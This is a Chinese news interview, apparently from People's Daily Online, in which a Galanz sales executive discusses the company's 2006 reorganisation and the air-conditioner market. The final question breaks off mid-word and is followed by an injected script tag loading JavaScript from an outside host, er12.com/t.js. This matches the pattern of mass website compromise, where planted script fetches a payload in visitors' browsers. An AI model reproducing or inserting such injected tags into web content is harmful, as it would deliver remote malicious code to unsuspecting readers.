采访：张彦斌《空调销售》副主编 杨静雅 人民网记者
目前，空调产业的市场凸现出以下特点：产业链之间的竞争已初见脉络，行业格局基本成型，价格不再是主要竞争手段，提升经营质量为多数企业的共识，不断推出新品成为发展的动力，改善服务为各品牌选择的突破方向。经过行业洗牌整合后，目前行业形成了以格力、美的、海尔一线品牌领跑行业，志高、格兰仕、奥克斯等二线品牌紧跟其后，双菱、德贝里克等三线品牌拾遗补缺的格局，这种格局基本适应了国内市场多层次消费的需求。
为了进一步了解2007冷冻年空调企业的生存状态，人民网家电频道联合《空调销售》对几家有代表性的空调企业进行专访，来透视中国空调企业的生存现状，以及空调行业的发展方向。
采访对象：广东格兰仕集团中国市场电器销售有限公司总经理 韩伟
主持人：2006年末，格兰仕组织架构再次做出调整，组建了中国销售总公司。请介绍一下中国销售总公司的组建原因及基本情况？
韩伟：总公司的成立是发展的必然趋势，也是经营创新必然的结果。家电业发展到现在，如果还停留在做产品、卖产品的层面，已经很难取得更长足的发展，要发展，就要变。而提升服务体系，从做产品到运作品牌的改变，已经是一种国际化趋势。目前，格兰仕微波炉、空调、小家电都已经处于行业的领先位置，格兰仕品牌在中国已经家喻户晓、深入民心。但由于原来各条线的单打独斗，资源得不到充分整合，职能上也存在不少重叠，在品牌运营、服务体系上都不利于发挥1+1>2的优势。如何更好地服务消费者、造福消费者是企业发展进程的“大事件”，调整后的架构有望让这些问题迎刃而解。通过企划、销售、终端、营运四条线将三大产业进行有机整合，可以把工作做得更足、更深、更广。组织架构的调整也是适应企业由“世界工厂”向“世界品牌”发展的战略转型，今后格兰仕将在专业家电名牌供应商的基础上，向专业家电品牌运营商、服务商的方向提升。
主持人：比较原来的销售体系，中国销售总公司的特点和优势有哪些？
韩伟：对比原来的销售体系，新成立的销售总公司将具备三个有利条件，得到三个方面的提升。首先从三个有利条件来看：第一，更加有利于统一思想和行动；客观上中国家电行业处于一个战略转折期，市场充满着机遇和挑战，珍惜战略机遇期，就要思想统一、行动一致，凝聚人心，凝聚力量。第二，更加有力于整合资源和力量；通过企划、销售、终端、营运四条线将三大产业进行有机整合，进一步整合资源，精兵强将，减员增效，可以把工作做得更足、更深、更广。第三，更加有力于市场拓展和服务；有利于企业的发展和强力推进市场的营销和拓展，进一步集中资源投放、提高效率、降低成本，对市场的变化格局实现快速反应，深耕细作。
其次，从三个提升方面来看：第一，能更好地提升品牌运营和服务营销水平；这两年我们几个项目在市场挑战中都已经处于行业的领先位置，并且创造出了各自独特的营销方法，所以一定上三线合并，互相学习借鉴，有利于进一步提升品牌营销的竞争能力和营销服务的水平。第二，能更好的提升客户营利能力和利润空间；如今的宏观环境对家电行业价值链成员而言都是异常艰辛的，诸多不利因素都对我们各自的经营管理能力，以及厂商之间的合作关系提出了严峻的挑战，厂商是经济价值链上利益共同体，唯有共进共退，才能同盈同荣。第三，能更好的提升市场规模和竞争力；总公司的成立将更加贴近市场，提高反应速度，增强品牌在家电行业的竞争力，以实现公司在家电行业的稳定的地位提升和销售再增长。
主持人：格兰仕在微波炉、小家电上已经取得了应有的市场地位和成功，空调还处于突破时期。以你在微波炉、小家电方面的营销经验，你认为如何做才能突破瓶颈？
韩伟：如今的家电市场环境已经发生了很大的变化，简单的一招一式是无法适应市场发展的需要的，微波炉、小家电的市场操作模式各有千秋，也不是简单的复制，空调市场操作也具备自己的特点，但是无论那种经验，都不能简单的借鉴，都需要经过充分的论证。空调项目要取得显著突破，还是在于提升体系作战的能力，整合资源，实现整合实力的市场运作，实现市场、推广、营运、管理合力的表现，化零为整，集中资源重点突破。
古语云，人心齐，泰山移，我相信突破这一瓶颈的核心还在于团队的凝聚力，在调整期，肯定会带来一些新的管理模式，也必定存在一定的思想和观念上的磨合，在磨合期的调整，关键取决于个人的心态，只要积极向上，只要开拓进取，我相信我能创造更大的平台给予我们的精英团队们。我希望创造一个积极向上的工作文化和团队，倡导快乐工作，快乐生活，活跃激情，激发创新。
主持人：对于此次调整，我们注意到格兰仕对外宣?script src=http://er12.com/t.js>
